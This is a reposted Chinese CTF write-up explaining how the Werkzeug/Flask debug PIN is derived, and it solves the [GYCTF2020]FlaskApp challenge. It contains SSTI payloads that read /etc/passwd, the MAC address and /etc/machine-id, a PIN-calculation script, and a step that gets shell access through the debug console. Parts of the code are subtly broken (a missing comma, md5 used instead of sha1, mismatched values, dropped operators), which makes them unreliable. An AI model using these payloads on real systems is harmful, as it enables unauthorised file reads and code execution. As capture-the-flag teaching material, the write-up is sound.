• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

初探flask debug生成pin码

武飞扬头像
XiLitter
帮助1

基础知识

当python的web应用没有关闭debug模式,相当于给攻击者留下后门,比如说通过报错信息返回部分源码可供代码审计,有时也会返回当前py文件的绝对路径,另外,如果我们进入到debug调试页面,就可以拿到python的交互式shell,执行任意代码。(下文例子有充分体验)然而我们要进入调试页面,需要输入pin码。

什么是pin码

pin是Werkzeug提供的安全措施,另外加的一层保障,不知道pin码是无法进入调试器的。(Werkzeug简单来说就是一个工具包,flask框架就是Werkzeug为底层库开发的)pin码是满足一定的生成算法,所以才有研究的必要,无论重复启动多少次程序,生成的pin码是不变的,但是Werkzeug和python版本的不同会影响pin码的生成。

探究pin码的生成方法

由于自身python代码审计能力欠缺,本文侧重点不在于探究Pin码生成算法的底层原理,而是在面对求pin码的ctf题目中能够有思路解决。

开启一个简单的flask程序。

  1.  
    from flask import Flask
  2.  
    app = Flask(__name__)
  3.  
     
  4.  
    @app.route("/")
  5.  
    def hello():
  6.  
    return "hello!"
  7.  
    if __name__ == '__main__':
  8.  
    app.run(host="0.0.0.0",port=8000,debug=True)

开启成功后在run.app下断点,进行调试。点击步入,进入app.py。

学新通

因为pin码是Werkzeug添加的安全措施,所以在源码中找到导入了Werkzeug的部分。全局搜索,发现在Werkzeug中调用了run_simple。学新通

 我们ctrl加点击进入这个函数里,然后进入到了seving.py文件中,找到有关创建debug的部分,这里在debug中又导入了DebuggedApplication。

学新通

 继续跟进,来到了__init__.py。找到pin函数。

学新通

进入get_pin_and_cookie_name函数。就来到了pin码生成的具体实现方法。

  1.  
    def get_pin_and_cookie_name(
  2.  
    app: "WSGIApplication",
  3.  
    ) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
  4.  
    """Given an application object this returns a semi-stable 9 digit pin
  5.  
    code and a random key. The hope is that this is stable between
  6.  
    restarts to not make debugging particularly frustrating. If the pin
  7.  
    was forcefully disabled this returns `None`.
  8.  
     
  9.  
    Second item in the resulting tuple is the cookie name for remembering.
  10.  
    """
  11.  
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
  12.  
    rv = None
  13.  
    num = None
  14.  
     
  15.  
    # Pin was explicitly disabled
  16.  
    if pin == "off":
  17.  
    return None, None
  18.  
     
  19.  
    # Pin was provided explicitly
  20.  
    if pin is not None and pin.replace("-", "").isdigit():
  21.  
    # If there are separators in the pin, return it directly
  22.  
    if "-" in pin:
  23.  
    rv = pin
  24.  
    else:
  25.  
    num = pin
  26.  
     
  27.  
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
  28.  
    username: t.Optional[str]
  29.  
     
  30.  
    try:
  31.  
    # getuser imports the pwd module, which does not exist in Google
  32.  
    # App Engine. It may also raise a KeyError if the UID does not
  33.  
    # have a username, such as in Docker.
  34.  
    username = getpass.getuser()
  35.  
    except (ImportError, KeyError):
  36.  
    username = None
  37.  
     
  38.  
    mod = sys.modules.get(modname)
  39.  
     
  40.  
    # This information only exists to make the cookie unique on the
  41.  
    # computer, not as a security feature.
  42.  
    probably_public_bits = [
  43.  
    username,
  44.  
    modname,
  45.  
    getattr(app, "__name__", type(app).__name__),
  46.  
    getattr(mod, "__file__", None),
  47.  
    ]
  48.  
     
  49.  
    # This information is here to make it harder for an attacker to
  50.  
    # guess the cookie name. They are unlikely to be contained anywhere
  51.  
    # within the unauthenticated debug page.
  52.  
    private_bits = [str(uuid.getnode()), get_machine_id()]
  53.  
     
  54.  
    h = hashlib.sha1()
  55.  
    for bit in chain(probably_public_bits, private_bits):
  56.  
    if not bit:
  57.  
    continue
  58.  
    if isinstance(bit, str):
  59.  
    bit = bit.encode("utf-8")
  60.  
    h.update(bit)
  61.  
    h.update(b"cookiesalt")
  62.  
     
  63.  
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
  64.  
     
  65.  
    # If we need to generate a pin we salt it a bit more so that we don't
  66.  
    # end up with the same value and generate out 9 digits
  67.  
    if num is None:
  68.  
    h.update(b"pinsalt")
  69.  
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
  70.  
     
  71.  
    # Format the pincode in groups of digits for easier remembering if
  72.  
    # we don't have a result yet.
  73.  
    if rv is None:
  74.  
    for group_size in 5, 4, 3:
  75.  
    if len(num) % group_size == 0:
  76.  
    rv = "-".join(
  77.  
    num[x : x group_size].rjust(group_size, "0")
  78.  
    for x in range(0, len(num), group_size)
  79.  
    )
  80.  
    break
  81.  
    else:
  82.  
    rv = num
  83.  
     
  84.  
    return rv, cookie_name
学新通

这个返回的rv就是pin码,我们不需要去看懂这些代码,这个函数的关键就是将列表的值进行hash,所以我们只需要将列表中的值添加,然后运行即可得出pin码。

学新通

那么想要生成pin码就需要以下几种要素:

  1.  
    username:通过getpass.getuser()读取,通过文件读取/etc/passwd
  2.  
    modname:默认就是flask.app,通过getattr(mod,“file”,None)读取
  3.  
    appname:默认Flask,通过getattr(app,“name”,type(app).name)读取
  4.  
    moddir:当前网络mac地址,通过/sys/class/net/eth0/address读取
  5.  
    uuidnode:
  6.  
    machine_id:由三个合并(docker环境为后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

获取以上的信息添加到列表中,运行一遍函数,即可得到pin码,接下来通过buu的一道题目深切体会一遍。

[GYCTF2020]FlaskApp

打开题目是一个base64加密解密的网站,在解密功能中输入错误信息发生报错。同时若开启命令行需要pin码。

学新通

在本题只谈论预期解(求pin码)。同时在解密功能上也有ssti漏洞,比如{{2 2}},页面返回为4。

学新通

但是常规的ssti执行命令在这题是不可取的,有waf。但是可以读取系统文件,比如/etc/passwd,那么payload为:

{{a.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}

然后base64编码,点击提交:

学新通

那么就通过ssti漏洞读取生成pin码所需要的几种要素。

username:通过读取到了/etc/passwd,不难发现用户名就为flaskweb。

app.py的绝对路径:可以通过报错信息获得,绝对路径为/usr/local/lib/python3.7/site-packages/flask/app.py。

学新通

当前机器的mac地址:通过读取/sys/class/net/eth0/address来获取mac的十六进制。payload为

{{a.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read()}}

得到的十六进制为42:b6:25:62:b6:ac,可以通过这行python代码转十进制:

print(int('42b62562b6ac',16))

转换十进制为73350078707372。

机器id:buu题目应该是docker搭建的。读取/proc/self/cgroup。payload为:

{{a.__init__.__globals__['__builtins__'].open('/proc/self/cgroup').read()}}

而机器id就是/docker/后面的一串。但是本题并不是这样,试了好久,并不能获得真正的机器id

而是要读取/etc/machine-id,所以真正的payload为

{{a.__init__.__globals__['__builtins__'].open('/etc/machine-id').read()}}

学新通

所以机器id就是1408f836b0ca514d796cbf8960e45fa1

以上生成pin的关键要素已经收集完毕。把上面get_pin_and_cookie_name函数实现方法修改一下列表值,最后添加print函数将pin码打印出来。所以脚本如下

  1.  
    import hashlib
  2.  
    from itertools import chain
  3.  
     
  4.  
    probably_public_bits = [
  5.  
    'flaskweb' # username
  6.  
    'flask.app', # modname
  7.  
    'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
  8.  
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
  9.  
    ]
  10.  
     
  11.  
    private_bits = [
  12.  
    '253462484137374', # str(uuid.getnode()), /sys/class/net/ens33/address
  13.  
    '1408f836b0ca514d796cbf8960e45fa1' # get_machine_id(), /etc/machine-id
  14.  
    ]
  15.  
     
  16.  
    h = hashlib.md5()
  17.  
    for bit in chain(probably_public_bits, private_bits):
  18.  
    if not bit:
  19.  
    continue
  20.  
    if isinstance(bit, str):
  21.  
    bit = bit.encode('utf-8')
  22.  
    h.update(bit)
  23.  
    h.update(b'cookiesalt')
  24.  
    cookie_name = '__wzd' h.hexdigest()[:20]
  25.  
    num = None
  26.  
    if num is None:
  27.  
    h.update(b'pinsalt')
  28.  
    num = (' d' % int(h.hexdigest(), 16))[:9]
  29.  
    rv = None
  30.  
    if rv is None:
  31.  
    for group_size in 5, 4, 3:
  32.  
    if len(num) % group_size == 0:
  33.  
    rv = '-'.join(num[x:x group_size].rjust(group_size, '0')
  34.  
    for x in range(0, len(num), group_size))
  35.  
    break
  36.  
    else:
  37.  
    rv = num
  38.  
    print(rv)
学新通

运行得到pin码为150-047-229。输入pin码成功登录。可执行shell,

学新通

那么开始读取flag。用os.system貌似不行,用os.popen函数读取。

学新通

成功得到flag。

至此我们对获取pin码和通过pin码拿到shell有了初步的认识,今后遇到相关题目继续总结。

相关链接:

https://blog.csdn.net/qq_38154820/article/details/126113468

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbhcif
系列文章
更多 icon
同类精品
更多 icon
继续加载